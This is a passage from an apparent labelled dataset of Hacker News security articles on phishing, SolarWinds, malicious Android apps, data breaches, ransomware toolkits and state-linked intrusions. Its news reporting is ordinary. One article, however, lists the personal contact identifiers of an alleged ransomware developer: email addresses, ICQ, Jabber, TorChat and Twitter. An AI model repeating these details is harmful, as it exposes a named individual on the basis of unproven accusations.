Sophos experts detected this week an intriguing case of phishing against the Italian postal service Poste Italiane, the scheme attracted the researcher's attention due the reuse of an old social engineering trick.

The brand Poste Italiane includes postal, Financial and payment services in its product portfolio and was considered top brand victims by recent F-Secure Threat report.
The number of attacks against Poste Italiane is remarkable, the purpose is always to induce its customers into unwittingly submitting their credentials to fake login sites.

In the recent attack criminals sent the classic email containing an HTML attachment which the recipient is enticed into opening.
""To activate the ""Security web Postepay "" you need to:- Download the attachment, open it in the browser and follow the steps requested.""

The message informs the victim that attached file is password protected and provide the passcode in the body of the email: ""To protect your personal information, the attached file is protected by a password. Your word is unique: A2345L90""

When user tries to open the attachment a dialog box is prompted to ask for the password:
Let's see the source code for the attachment :
It is a very simple JavaScript that requests the user's password, if the victim inserts the correct one (A2345L90 in this case), the password provided is used as a key to decode an embedded string and written back to the page. The returned code loads the phish page via the frame, which references a bit.ly shortened URL.
The smart aspect of this attack is the use of a password protected attachment, a technique already seen in the past by security firms. The use of this technique for phishing attack is probably motivated by following needs:
To avoid defense mechanism that scans HTML content.
As a social engineering trick, users could be conditioned by the presence of the password that provides a false sense of security and credibility to the victims.
Be aware ... Cybercrime never sleeps ;-)

",Cyber_Attack
"A Second Hacker Group May Have Also Breached SolarWinds, Microsoft Says",https://thehackernews.com/2020/12/a-second-hacker-group-may-have-also.html,"As the probe into the SolarWinds supply chain attack continues, new digital forensic evidence has brought to light that a separate threat actor may have been abusing the IT infrastructure provider's Orion software to drop a similar persistent backdoor on target systems.
""The investigation of the whole SolarWinds compromise led to the discovery of an additional malware that also affects the SolarWinds Orion product but has been determined to be likely unrelated to this compromise and used by a different threat actor,"" Microsoft 365 research team said on Friday in a post detailing the Sunburst malware.
What makes the newly revealed malware, dubbed ""Supernova,"" different is that unlike the Sunburst DLL, Supernova (""app_web_logoimagehandler.ashx.b6031896.dll"") is not signed with a legitimate SolarWinds digital certificate, signaling that the compromise may be unrelated to the previously disclosed supply chain attack.
In a standalone write-up, researchers from Palo Alto Networks said the Supernova malware is compiled and executed in-memory, permitting the attacker to bypass endpoint detection and response (EDR) systems and ""deploy full-featured – and presumably sophisticated – .NET programs in reconnaissance, lateral movement and other attack phases.""
How the Sunburst Backdoor Operates
The discovery is yet another indication that in addition to being a lucrative infection vector for threat actors, the breach of SolarWinds — which cast a wide net of 18,000 companies and government agencies — had been executed with a far broader scope and extraordinary sophistication.
The adversaries used what's called a supply chain attack, exploiting SolarWinds Orion network management software updates the company distributed between March and June of this year to plant malicious code in a DLL file (aka Sunburst or Solorigate) on the targets' servers that's capable of stealthily gathering critical information, running remote commands, and exfiltrating the results to an attacker-controlled server.
Analysis of the Solorigate modus operandi has also revealed that the campaign chose to steal data only from a select few of thousands of victims, opting to escalate their attacks based on intel amassed during an initial reconnaissance of the target environment for high-value accounts and assets.
The escalation involves the predefined command-and-control (C2) server — a now-sinkholed domain called ""avsvmcloud[.]com"" — responding to the infected system with a second C2 server that allows the Sunburst backdoor to run specific commands for privilege escalation exploration, credential theft, and lateral movement.
The fact that the compromised DLL file is digitally signed implies a compromise of the company's software development or distribution pipeline, with evidence suggesting that the attackers have been conducting a dry run of the campaign as early as October 2019.
The October files did not have a backdoor embedded in them in the way that subsequent software updates SolarWinds Orion customers downloaded in the spring of 2020 did — rather, it was mainly used to test if the modifications showed up in the newly released updates as expected.
The US Cybersecurity and Infrastructure Security Agency (CISA), in an alert last week, said it found evidence of initial infection vectors using flaws other than the SolarWinds software.
Cisco, VMware, and Deloitte Confirm Malicious Orion Installations
Cybersecurity firms Kaspersky and Symantec have said they each identified 100 customers who downloaded the trojanized package containing the Sunburst backdoor, with the latter finding traces of a second-stage payload called Teardrop in a small number of organizations.
The specific number of infected victims remains unknown at this time, but it has steadily increased since cybersecurity firm FireEye revealed it had been breached via SolarWinds's software early this month. So far, several US government agencies and private companies, including Microsoft, Cisco, Equifax, General Electric, Intel, NVIDIA, Deloitte, and VMware have reported finding the malware on its servers.
""Following the SolarWinds attack announcement, Cisco Security immediately began our established incident response processes,"" Cisco said in a statement to The Hacker News via email.
""We have isolated and removed Orion installations from a small number of lab environments and employee endpoints. At this time, there is no known impact to Cisco products, services, or to any customer data. We continue to investigate all aspects of this evolving situation with the highest priority.""
FireEye was the first to expose the wide-ranging espionage campaign on December 8 after discovering that the threat actor had stolen its arsenal of Red Team penetration testing tools, making it so far the only instance where the attackers escalated access thus far. No foreign governments have announced compromises of their own systems.
Although media reports have cited it to be the work of APT29, Russia has denied involvement in the hacking campaign. Neither have cybersecurity companies and researchers from FireEye, Microsoft, and Volexity attributed these attacks to the threat actor.

",Cyber_Attack
Cybersecurity Webinar — SolarWinds Sunburst: The Big Picture,https://thehackernews.com/2021/03/cybersecurity-webinar-solarwinds.html,"The SolarWinds Sunburst attack has been in the headlines since it was first discovered in December 2020.
As the so-called layers of the onion are peeled back, additional information regarding how the vulnerability was exploited, who was behind the attack, who is to blame for the attack, and the long-term ramifications of this type of supply chain vulnerabilities continue to be actively discussed.
Cybersecurity company Cynet is taking a needed step back to provide a full picture of the SolarWinds attack from start to finish in an upcoming webinar, ""Lessons Learned from the SolarWinds SUNBURST Attack.""
Information regarding many aspects of the attack has been coming out in pieces, but we haven't yet seen this type of comprehensive overview of the technical steps behind the full attack, as well as clear recommendations for protecting against similar future attacks.
And this is precisely what's needed so security professionals can gain insights on the attack tactics, technologies, and processes to apply the appropriate strategic defense measures to prevent being a victim of targeted supply chain attacks.
Evil, Yet Impressive
From their first stealthy access to the Solarwinds environment in September 2019, the hackers brilliantly staged and carried out an attack that ultimately led to the compromise of systems in over 40 government agencies, including the National Nuclear Security Administration (NNSA), the US agency responsible for nuclear weapons. Targets in other countries, including Canada, Belgium, Britain, and Israel, were also hit.
The Cynet webinar unpacks the attack to explain the build process used by the attackers and then highlights the capabilities of the Sunburst, Teardrop, and Raindrop malware used in the attack.
Then, Cynet reviews the clever ""kill switch"" capabilities built into the backdoor to help ensure that it would not be discovered by security analysts.
Also, the webinar discusses the many new vulnerabilities that were exposed in SolarWinds' software and their ramifications.
A Look Forward
With a full understanding of how the attack was carried out, we can then determine whether we're likely to see these types of supply chain attacks proliferate and whether nation-states are already targeting key suppliers.
Unfortunately, in a field where success begets success, it's all too certain that similar attack approaches are actively underway somewhere. Cynet also shares their perspective on this topic during the webinar.
Given that most companies do rely on third-party providers for much of their core software, what should they do to protect themselves? Especially given that these companies have little choice but to continue their use of third-party software that could potentially be weaponized, despite the best efforts of the third-party providers to protect themselves.
Cynet provides guidance on defense measures that should be applied to ensure you're not a victim of a supply chain attack even though you have no visibility or control over your supplier's security. It's important that companies come to realize that these trusted third-party relationships can, and have been, compromised. And action must be taken now.
Register for the webinar here

",Cyber_Attack
Several Popular Beauty Camera Apps Caught Stealing Users' Photos,https://thehackernews.com/2019/02/beauty-camera-android-apps.html,"Just because an app is available on Google Play Store doesn't mean that it is a legitimate app. Despite so many efforts by Google, some fake and malicious apps do sneak in and land millions of unaware users on the hunting ground of scammers and hackers.

Cybersecurity firm Trend Micro uncovered at least 29 devious photo apps that managed to make its way onto Google Play Store and have been downloaded more than 4 million times before Google removed them from its app store.

The mobile apps in question disguised as photo editing and beauty apps purporting to use your mobile phone's camera to take better pictures or beautify the snaps you shoot, but were found including code that performs malicious activities on their users' smartphone.

Three of the rogue apps—Pro Camera Beauty, Cartoon Art Photo and Emoji Camera—have been downloaded more than a million times each, with Artistic Effect Filter being installed over 500,000 times and another seven apps in the list over 100,000 times.

Once installed, some of these apps would push full-screen advertisements on victim's device for fraudulent or pornographic content every time the infected phone is unlocked, and some would even redirect victims to phishing sites in an attempt to steal their personal information by tricking them into believing they have won a contest.

29 Fake Android Apps – Ones to Look Out For

Another group of camera apps that specifically meant to beautify photos were actually found including malicious code that uploads user's photos to an external remote server controlled by the app maker.

However, instead of displaying a final result with the edited photo, the app serves users with a fake update prompt in nine different languages which lead, again, to a phishing site.

""The authors can collect the photos uploaded in the app, and possibly use them for malicious purposes — for example as fake profile pics in social media,"" Trend Micro researchers wrote in a blog post.

In an attempt to hide their activities, some of these apps used various methods, including hiding the app icon from the drawer/launcher, which would make it more difficult for regular users to spot and uninstall the offending apps.

After being made aware of the malicious apps, Google removed them from its Play Store, but this is unlikely to prevent malicious apps from plaguing the Android app store in the future.

Android malware continues to evolve with more sophisticated and never-seen-before capabilities with every passing day, and spotting them on Google Play Store doesn't come up as a surprise.

The best way to prevent yourself from falling victim to such fishy applications in the future is always to download apps from trusted brands only, even when downloading from the official app store.

Moreover, look at the app reviews left by other users before downloading any app and avoid those that mention any suspicious behavior or unwanted pop-ups after installing.

Last but not least, always keep a good antivirus app on your Android device that can detect and block such malicious activities before they can infect your device, and keep them up-to-date.

",Malware
Instagram Suffers Data Breach! Hacker Stole Contact Info of High-Profile Users,https://thehackernews.com/2017/08/instagram-breach.html,"Instagram has recently suffered a possibly serious data breach with hackers gaining access to the phone numbers and email addresses for many ""high-profile"" users.

The 700 million-user-strong, Facebook-owned photo sharing service has currently notified all of its verified users that an unknown hacker has accessed some of their profile data, including email addresses and phone numbers, using a bug in Instagram.

The flaw actually resides in Instagram's application programming interface (API), which the service uses to communicate with other apps.

Although the company did not reveal any details about the Instagram's API flaw, it assured its users that the bug has now been patched and its security team is further investigating the incident.
""We recently discovered that one or more individuals obtained unlawful access to a number of high-profile Instagram users' contact information—specifically email address and phone number—by exploiting a bug in an Instagram API,"" Instagram said in a statement.
""No account passwords were exposed. We fixed the bug swiftly and are running a thorough investigation.""
Instagram declined to name the high-profile users targeted in the breach, but the news comes two days after some unknown hacker hijacked most followed Instagram account belonged to Selena Gomez and posted her ex-boyfriend Justin Bieber's nude photographs.

Selena's Instagram account with over 125 Million followers was restored later in the day and the photos were removed.

However, Instagram did not mention if the recent data breach was related to Selena's hacked account.

With email addresses and phone numbers in their hands, the hackers next step could be used the information in tandem with social engineering techniques in an effort to gain access to verified users' Instagram accounts to embarrass them.

The company notified all verified users of the issue via an email and also encouraged them to be cautious if they receive suspicious or unrecognised phone calls, text messages, or emails.

Instagram users are also highly recommended to enable two-factor authentication on your accounts and always secure your accounts with a strong and different password.

Also, avoid clicking on any suspicious link or attachment you received via an email and providing your personal or financial information without verifying the source properly.

",Data_Breaches
Download: The State of Security Breach Protection 2020 Survey Results,https://thehackernews.com/2020/01/data-breach-protection-survey.html,"What are the key considerations security decision-makers should take into account when designing their 2020 breach protection?

To answer this, we polled 1,536 cybersecurity professionals in The State of Breach Protection 2020 survey (Download the full survey here) to understand the common practices, prioritization, and preferences of the organization today in protecting themselves from breaches.

Security executives face significant challenges when confronting the evolving threat landscape.

For example:

What type of attacks pose the greatest risk, and what security products would best address them?
Is it better to build a strong team in-house, outsource the entire security operation, or search for a sweet spot between the two?
What type and level of automation should be introduced into the breach protection workflows?

The State of Breach Protection 2020 survey provides insights into these questions and others.

Here are a few of the insights the survey unveils:

1) Lack of consolidation is a protection inhibitor — Organizations that currently deploy advanced security products report that maintaining a multi-product security stack (especially in advanced security product groups) is the main obstacle in reaching the desired protection.

2) Most organizations are prioritizing advanced protection projects in 2020 — The majority of organizations that currently deploy a basic security stack of AV, firewall, and email protection plan to add EDR/EPP, Network Traffic Analysis, or SIEM and are planning to do so in 2020.

3) Deployment is the Achilles heel of endpoint protection — Only a small portion of organizations reported on deploying EDR/EPP on more than 85% of their endpoints with no deployment or maintenance issues. Because in many cases, EPP/EDR is regarded as the main mean against advanced attacks, this is an alarming figure.

4) Advanced threat protection still involves a high volume of attended alerts — All organizations that deploy SIEM, EDR/EPP, Network Traffic Analysis, UEBA, or Deception products state that over 25% percent of alerts are left unattended on a daily basis.

5) Response orchestration beats automation — While a significant number of the organizations we polled orchestrate their IR operations from a centralized interface, only a small portion introduce automation to their remediation workflows.

6) Organizations have mixed feelings regarding security outsourcing — While the security skills gap compels organizations to outsource the more advanced portion of their security operations, there is still a strong inclination to keep things in-house, especially in regard to active attack remediation in their environment.

The State of Breach Protection 2020 survey crowdsources the wisdom of numerous security professionals and decision-makers, enabling CISOs to make better informed and data-driven decisions, by zooming out to see the wide perspective of breach protection's best practices and major trends.

Download The State of Breach Protection 2020 survey report here.

",Data_Breaches
37-Year-Old 'Syrian Electronic Army' Hacker Pleads Guilty in US court,https://thehackernews.com/2016/09/syrian-electronic-army-hacker.html,"One of the FBI's Most Wanted Hackers who was arrested in Germany earlier this year has pleaded guilty to federal charges for his role in a scheme that hacked computers and targeted the US government, foreign governments, and multiple US media outlets.

Peter Romar, 37, pleaded guilty Wednesday in a federal court in Alexandria to felony charges of conspiring to receive extortion proceeds and to illegally access computers in his role as a member of the infamous hacking group calling itself the Syrian Electronic Army (SEA), the Department of Justice (DoJ) announced.

Romar was previously extradited from Germany on request of the United States.
""Cybercriminals cannot hide from justice,"" said U.S. Attorney Dana J. Boente for the Eastern District of Virginia. ""No matter where they are in the world, the United States will vigorously pursue those who commit crimes against U.S. citizens and hold them accountable for their actions.""
In March, the US charged three men it believed were involved in cyber-attacks carried out the Syrian Electronic Army. Romar was already arrested while the other two - Ahmad Umar Agha (aka The Pro), 22 and Firas Dardar (aka The Shadow), 27 - were believed to be in Syria.

The FBI has also offered a reward of $100,000 for any information that leads to the arrest of Agha and Dardar, who were allegedly involved in hacking Associated Press Twitter account in April 2013 and spreading a false rumor claiming that the White House had been bombed, injuring President Obama, which caused a temporary stock market dip.

All three SEA hackers were allegedly engaged in a long-running cyber-propaganda campaign in support of the Syrian President Bashar al‑Assad.

The group used ""spear-phishing"" tactics to target computer systems of the US government, foreign organizations, media outlets and other private-sector entities that the SEA deemed as having been antagonistic toward the Syrian Government.

Between 2011 and 2013, SEA targeted multiple entities including the Associated Press, Microsoft, Reuters, CNN, Time, The Daily Dot, The Washington Post, Vice, Human Rights Watch, E! Online, Harvard University, NASA, US Marine, and The Onion, among others.

Dardar and Romar are accused of hacking into the computer systems of businesses for their personal profit. They hacked into victims' computers and then threaten them to damage computers, and delete/sell the data unless they were paid a ransom.
""If a victim could not make extortion payments to the conspiracy's Syrian bank accounts due to sanctions targeting Syria, Romar acted as an intermediary in Germany to evade those sanctions,"" the DoJ said.
Romar faces up to 5 years in prison and is scheduled to be sentenced on 21st October, while co-defendant Dardar still remains at large and is believed to be in Syria.

",Cyber_Attack
Flaw in Popular μTorrent Software Lets Hackers Control Your PC Remotely,https://thehackernews.com/2018/02/torrent-download-software.html,"If you have installed world's most popular torrent download software, μTorrent, then you should download its latest version for Windows as soon as possible.

Google's security researcher at Project Zero discovered a serious remote code execution vulnerability in both the 'μTorrent desktop app for Windows' and newly launched 'μTorrent Web' that allows users to download and stream torrents directly into their web browser.

μTorrent Classic and μTorrent Web apps run in the background on the Windows machine and start a locally hosted HTTP RPC server on ports 10000 and 19575, respectively, using which users can access its interfaces over any web browser.

However, Project Zero researcher Tavis Ormandy found that several issues with these RPC servers could allow remote attackers to take control of the torrent download software with little user interaction.

According to Ormandy, uTorrent apps are vulnerable to a hacking technique called the ""domain name system rebinding"" that could allow any malicious website a user visits to execute malicious code on user's computer remotely.
To execute DNS rebinding attack, one can simply create a malicious website with a DNS name that resolves to the local IP address of the computer running a vulnerable uTorrent app.
""This requires some simple DNS rebinding to attack remotely, but once you have the secret you can just change the directory torrents are saved to, and then download any file anywhere writable,"" Ormandy explained.

Proof-of-Concept Exploits for uTorrent Software Released Publicly
Ormandy also provided proof-of-concept exploits for μTorrent Web and μTorrent desktop (1 and 2), which are capable of passing malicious commands through the domain in order to get them to execute on the targeted computer.

Last month, Ormandy demonstrated same attack technique against the Transmission BitTorrent app.

Ormandy reported BitTorrent of the issues with the uTorrent client in November 2017 with a 90-days disclosure deadline, but a patch was made public on Tuesday—that's almost 80 days after the initial disclosure.

What's more? The re-issued new security patches the same day after Ormandy found that his exploits continued to work successfully in the default configuration with a small tweak.
""This issue is still exploitable,"" Ormandy said. ""The vulnerability is now public because a patch is available, and BitTorrent have already exhausted their 90 days anyway.""
""I see no other option for affected users but to stop using uTorrent Web and contact BitTorrent and request a comprehensive patch.""

Patch your uTorrent Software NOW!

The company assured its users that all vulnerabilities reported by Ormandy it two of its products had been addressed with the release of:

μTorrent Stable 3.5.3.44358
BitTorrent Stable 7.10.3.44359
μTorrent Beta 3.5.3.44352
μTorrent Web 0.12.0.502

All users are urged to update their software immediately.

",Malware
"LPG Gas Company Leaked Details, Aadhaar Numbers of 6.7 Million Indian Customers",https://thehackernews.com/2019/02/indane-aadhaar-leak.html,"Why would someone bother to hack a so-called ""ultra-secure encrypted database that is being protected behind 13 feet high and 5 feet thick walls,"" when one can simply fetch a copy of the same data from other sources.

French security researcher Baptiste Robert, who goes by the pseudonym ""Elliot Alderson"" on Twitter, with the help of an Indian researcher, who wants to remain anonymous, discovered that the official website of popular state-owned LPG gas company Indane is leaking personal details of its millions of customers, including their Aadhaar numbers.

This is not the first time when an unprotected third-party database has leaked Aadhaar details of Indian citizens, which is a unique number assigned to each citizen as part of India's biometric identity programme maintained by the government's Unique Identification Authority of India (UIDAI).

Earlier this week an anonymous Indian researcher initially discovered a loophole in the Indane's online dealers portal that could allow anyone to access hundreds of thousands of customers data associated with their respective dealers without requiring any authentication.

""Due to a lack of authentication in the local dealers portal, Indane is leaking the names, addresses and the Aadhaar numbers of their customers,"" Robert wrote in a blog post on Medium late Monday.

To avoid getting into trouble from Indian authorities, the researcher shared his findings with Robert, who previously gained fame for exposing numerous Aadhaar-related leaks and security weaknesses in other Indian website and services.
After analyzing the issue, Robert discovered that attackers can actually fetch millions of Indian citizens data from the Indane website if they know every dealer's username, which he later found using another vulnerability in the Indane's official mobile app.

The mobile app vulnerability allowed Robert to find 11,062 valid dealer IDs, out of which he used 9490 IDs against the online dealers portal to fetch personal data of 5.8 million users, including their Aadhaar numbers, names and residential addresses.

""Unfortunately, Indane probably blocked my IP, so I didn't test the remaining 1572 dealers. By doing some basic math we can estimate the final number of affected customers around 6,791,200,"" Robert says.

Robert shared his findings with Indane, an LPG brand owned by the Indian Oil Corporation, on 15th February, and made the public disclosure on 19th February after receiving no response from the company.

Official Response From Indane LPG Company

In response to this news, Indian Oil Corp Ltd, who owns Indane, tweeted a statement saying, ""There is no leak of Aadhaar data through Indane website.""

In an attached statement, instead of acknowledging the breach of its customers' data, the company tried to defend Aadhaar and Indian Government by saying:
""IndianOil in its software captures only the Aadhaar number which is required for LPG subsidy transfer. No other Aadhaar related details are captured by IndianOil. Therefore, leakage of Aadhaar data is not possible through us.""
""In the past, Oil Marketing Companies on time to time basis were hosting the consumption of subsidized LPG refills by consumers, multiple connections list having customer information like consumer number, name, LPG ID and address, in public domain (transparency portal) in their respective websites which was available for social audits.""
""There is no Aadhaar number hosted on this website.""
However, The Hacker News has reviewed the sample database provided by Robert and can confirm that the website also hosts Aadhaar numbers of its customers, not directly displayed on the web page, but in the URL hyperlinked to each customer's ID.

",Data_Breaches
Rise in website Defacement attacks by Hackers around the World,https://thehackernews.com/2013/11/rise-in-website-defacement-attacks-by.html,"Last week we noticed a rise in cyber attacks particularly - website Defacement attacks on many governments and organizations of different countries by the hackers around the world.

Targeted countries include Singapore, Mexico, Philippines, Australia, Egypt, United States, Syria and many more. Out of all these targets, most controversial were Philippines and Australia, hacked by Activist group Anonymous.
Last Sunday, Anonymous hackers from Indonesia defaced hundreds of websites belonging to the Australian Government, saying the action was in response to reports of spying by Australia. The websites, defaced with a message reading ""Stop Spying on Indonesia"". We have shared the list of all targeted website on a pastebin note.
In a separate incident, Anonymous hackers defaced more than 38 Philippine Government websites, and called on the public to support an anti-corruption protest ""Million Mask March"" at the Batasang Pambansa on November 5. ""The government, in many ways, has failed its Filipino citizens,"" the hackers added. ""We have been deprived of things which they have promised to give; what our late heroes have promised us to give.""
National and local government agencies and the website of the Office of the Ombudsman, Philippine Embassy in Seoul, Insurance Commission, Vigan and Cardon Cities Official Website, 3rd District of Laguna were among those hacked by Philippines hackers.
On the other end, Algerian hacker named as DZ27 hacked and defaced three Egyptian government websites. Targeted websites include the Information System Institute for Egyptian Armed Forces, a subdomain of the Armed Forces and website of Tourism Development Authority Egypt.

Anonymous hacker who went by the moniker ""The Messiah"" breached a blog linked to Singapore's leading newspaper 'Straits Times' and the hacker claimed a journalist published a ""very misleading"" blog post about a threat purportedly issued by Anonymous against Singapore's government to protest contentious online licensing regulations.

A message left on the blog page demanded that the journalist resign or apologize within 48 hours to the citizens of Singapore for trying to mislead them. Hackers also accused the government of extending censorship to the Internet in a country where the media have long been tightly supervised.

In a separate incident, The website of the Seletar Airport in Singapore was also hacked by an unknown hacker, and the defaced page designed with a black and green background with a skull wearing a hood in the middle. But it was fixed within half an hour.

The cyber attack on Syrian, where three Government websites from Syria and around thousands of commercial websites were defaced by Syrian hackers introducing themselves as RBG Homs, Silent Injector and Syrian Hexor. The hack is a part of an operation called #opSyria and complete list of hacked websites published online at pastebin.

Another separate attack, where an Anonymous hacker defaced the website of a law firm that defended a US Marine who faced charges in connection with the 2005 killing of 24 Iraqi civilians. Puckett served as the lead defense lawyer for Staff Sergeant Frank Wuterich, who faced a US military court martial last month in connection with the killings in the Iraqi town of Haditha. Hackers claimed that they have published online 3GB Data of private email messages of attorneys Neal Puckett and Haytham Faraj.
Also, Hundreds of Mexican web sites defaced by a hacker named as ExpirED brain Cyber army. The complete list of targeted websites is listed in a pastebin note. Here the reason of the attack is not clear, neither mentioned by the hacker.

Stay tuned to The Hacker News for more latest Hacking news updates.

",Cyber_Attack
"Prison Locker Ransomware, an upcoming malware threat in 2014",https://thehackernews.com/2014/01/power-locker-ransomware-upcoming_3.html,"Ransomware is one of the most blatant and obvious criminal's money making schemes out there. Ransomware malware was mostly known by the people when Cryptolocker comes into play. At the time when readers were getting aware of ransomware, Cryptolocker threat had touched the peak and other money motivated cyber criminals have started developing their own Cryptolocker versions.

Two hackers going by the name of 'gyx' and 'Porphyry' (admin of maldev.net hacking forum) are advertizing a new ramsomware malware tool-kit called ""Prison Locker"" on various hacking forums with tutorials.

They have developed the Prison Locker a.k.a Power Locker ramsomware toolkit in C/C++ programming language, proving a GUI version with customizable features for customers.
The Ransomware is using BlowFish encryption to encrypt all available files on the victim's hard disk and shared drives except .exe, .dll, .sys, other system files.

During encryption it will generate unique BlowFish key for each file and then encrypts the keys further with RSA-2048 encryption and will send victim's system information back to the command-and-control center of the attacker.
As the developer mention in a Pastebin post, the Command-and-control center allows an attacker to set the ramsomware warning time duration, ransom amount, payment mode and also allow decrypting the files on the victim system after payment received.

The addition features added to Prison Locker:
The malware is able to detect Virtual Machine, Sandbox mode, and debugging environments.
It will also disable Windows key & Escape key to prevent unwanted user actions.
Also can kill taskmgr.exe, regedit.exe, cmd.exe, explorer.exe, and msconfig.exe processes to prevent unwanted user actions.
Malware can startup in both regular boot mode and safe boot under HKCU.
A Malware Research Group is following the development of this new Malware threat and has published his investigation report on his blog i.e. MalwareMustDie.

He has investigated the identity of the Ransomware developers at his own level, could be a free tip for Law Enforcement agencies too.

Information obtained from screenshots provided by MalwareMustDie blog post:
ICQ: 668841378
Jabber ID: gyx@jodo.im, wenhsl@exploit.im
Personal Blog: https://wenhsl.blogspot.in
Gmail: wenhsl12@gmail.com
TorChat: yratfipjnd5bcxai Twitter: @wenhsl
Interestingly, His Twitter Bio is, 'Security enthusiast. Novice infosec/malware researcher and cybercrime analyst. C/C++ and currently polishing up my MASM' and Country mentioned as U.S.

He has also mentioned in an advertising post, that tool-kit will be available soon for the sale on various hacking forums and markets at just $100. If you don't take proper precautions, you may lose the information stored on your computer.

The people who are calling themselves Cyber Security Researchers whose work is to protect others from such threats are now self participating in the Cyber Crimes just for the monetary purpose. As mentioned earlier that the NSA is spying over Non-American people i.e. Foreigners.

But now it's the high time to think that what about the cyber criminals who are operating from the USA, could be the mastermind behind major Bitcoins thefts, banking Trojans, exploit kits, Cryptolocker.. Serious threats?

",Malware
New Approach to automatically detecting bugs and vulnerabilities in Linux,https://thehackernews.com/2011/11/new-approach-to-automatically-detecting.html,"New Approach to automatically detecting bugs and vulnerabilities in Linux

Australian researcher Silvio Cesare, PhD student at Deakin University has released a tool capable of automatically detecting bugs and vulnerabilities in embedded Linux libraries. Developers may ""embed"" or ""clone"" code from 3rd party projects. This can be either statically link against external library or maintaining an internal copy of a library's source or fork a copy of a library's source.

The Approach of this tools is that if a source package has the other package's filenames as a subset, it is embedded, Packages that share files are related. A graph of relationships has related packages as cliques. Graph Theory is used to perform the analysis.

Linux vendors have previously used laborious manual techniques to find holes in libraries. Debian alone manually tracks some 420 embedded packages, Cesare said at Ruxcon 2011. Silvio's tool also automates identifying if embedded packages have outstanding vulnerabilities that have not been patched. Using this system, over 30 previously unknown vulnerabilities were identified in Linux distributions. These results are now starting to be used by vendors to track embedded packages.

They Found five packages in Debian and Fedora that were vulnerable to a buffer overflow found in libtiff. Mozilla Firefox had embedded libpng and was vulnerable for more than three months after the flaw was discovered. While about 90 per cent of vulnerabilities produced by the tool were false-positives, Cesare said vetting the results takes seconds and was considerably faster than using manual processes.

Fedora incorporated Cesare's results in an embedded library list database. Cesare said he will publish an academic paper on the subject and plans to similar conduct binary analysis for Windows platforms.

This project is open source and available to download from Github.

",Vulnerability
North Korea Exploited VPN Flaw to Hack South's Nuclear Research Institute,https://thehackernews.com/2021/06/north-korea-exploited-vpn-flaw-to-hack.html,"South Korea's state-run Korea Atomic Energy Research Institute (KAERI) on Friday disclosed that its internal network was infiltrated by suspected attackers operating out of its northern counterpart.
The intrusion is said to have taken place on May 14 through a vulnerability in an unnamed virtual private network (VPN) vendor and involved a total of 13 IP addresses, one of which — ""27.102.114[.]89"" — has been previously linked to a state-sponsored threat actor dubbed Kimsuky.
KAERI, established in 1959 and situated in the city of Daejeon, is a government-funded research institute that designs and develops nuclear technologies related to reactors, fuel rods, radiation fusion, and nuclear safety.
Following the intrusion, the think tank said it took steps to block the attacker's IP addresses in question and applied necessary security patches to the vulnerable VPN solution. ""Currently, the Atomic Energy Research Institute is investigating the subject of the hacking and the amount of damage,"" the entity said in a statement.
The development comes following a report from SISA Journal, which disclosed the breach, alleging that the agency was attempting to cover up the hack by denying such an incident took place. KAERI attributed it to a ""mistake in the response of the working-level staff.""
Active since 2012, Kimsuky (aka Velvet Chollima, Black Banshee, or Thallium) is a North Korean threat actor known for its cyber espionage campaigns targeting think tanks and nuclear power operators in South Korea.
Earlier this month, cybersecurity firm Malwarebytes disclosed a wave of attacks undertaken by the adversary to strike high-profile government officials in the country by installing an Android and Windows backdoor called AppleSeed for amassing valuable information.
The targeted entities involved the Ministry of Foreign Affairs, Ambassador of the Embassy of Sri Lanka to the State, International Atomic Energy Agency (IAEA) Nuclear Security Officer, and the Deputy Consul General at Korean Consulate General in Hong Kong, with the aforementioned IP address used for command-and-control (C2) communications.
It is not immediately clear what VPN vulnerability was exploited to breach the network. But it's worth noting that unpatched VPN systems from Pulse Secure, SonicWall, Fortinet FortiOS, and Citrix have been subjected to attacks by multiple threat actors in recent years.

",Cyber_Attack
Evilnum hackers targeting financial firms with a new Python-based RAT,https://thehackernews.com/2020/09/evilnum-hackers.html,"An adversary known for targeting the fintech sector at least since 2018 has switched up its tactics to include a new Python-based remote access Trojan (RAT) that can steal passwords, documents, browser cookies, email credentials, and other sensitive information.

In an analysis published by Cybereason researchers yesterday, the Evilnum group has not only tweaked its infection chain but has also deployed a Python RAT called ""PyVil RAT,"" which possesses abilities to gather information, take screenshots, capture keystrokes data, open an SSH shell and deploy new tools.

""Since the first reports in 2018 through today, the group's TTPs have evolved with different tools while the group has continued to focus on fintech targets,"" the cybersecurity firm said.

""These variations include a change in the chain of infection and persistence, new infrastructure that is expanding over time, and the use of a new Python-scripted Remote Access Trojan (RAT)"" to spy on its infected targets.

Over the last two years, Evilnum has been linked to several malware campaigns against companies across the UK and EU involving backdoors written in JavaScript and C# as well as through tools bought from the Malware-as-a-Service provider Golden Chickens.


Back in July, the APT group was found targeting companies with spear-phishing emails that contain a link to a ZIP file hosted on Google Drive to steal software licenses, customer credit card information, and investments and trading documents.

While the modus operandi of gaining an initial foothold in the compromised system remains the same, the infection procedure has witnessed a major shift.

Besides using spear-phishing emails with fake know your customer (KYC) documents to trick employees of the finance industry into triggering the malware, the attacks have moved away from using JavaScript-based Trojans with backdoor capabilities to a bare-bones JavaScript dropper that delivers malicious payloads hidden in modified versions of legitimate executables in an attempt to escape detection.

""This JavaScript is the first stage in this new infection chain, culminating with the delivery of the payload, a Python written RAT compiled with py2exe that Nocturnus researchers dubbed PyVil RAT,"" the researchers said.


The multi-process delivery procedure (""ddpp.exe""), upon execution, unpacks shellcode to establish communication with an attacker-controlled server and receive a second encrypted executable (""fplayer.exe"") that functions as the next stage downloader to fetch the Python RAT.

""In previous campaigns of the group, Evilnum's tools avoided using domains in communications with the C2, only using IP addresses,"" the researchers noted. ""While the C2 IP address changes every few weeks, the list of domains associated with this IP address keeps growing.""


While Evilnum's exact origins still remain unclear, it's evident that their constant improvisation of TTPs has helped them stay under the radar.

As the APT's techniques continue to evolve, it's essential that businesses remain vigilant and employees monitor their emails for phishing attempts and exercise caution when it comes to opening emails and attachments from unknown senders.

",Cyber_Attack
Facebook Now Pays Hackers for Reporting Security Bugs in 3rd-Party Apps,https://thehackernews.com/2019/10/facebook-apps-bug-bounty.html,"Following a series of security mishaps and data abuse through its social media platform, Facebook today expanding its bug bounty program in a very unique way to beef up the security of third-party apps and websites that integrate with its platform.

Last year, Facebook launched ""Data Abuse Bounty"" program to reward anyone who reports valid events of 3rd-party apps collecting Facebook users' data and passing it off to malicious parties, violating Facebook's revamped data policies.

Apparently, it turns out that most of the time, Facebook users' data that had been misused was exposed in the first place as the result of a vulnerability or security weakness in third-party apps or services.

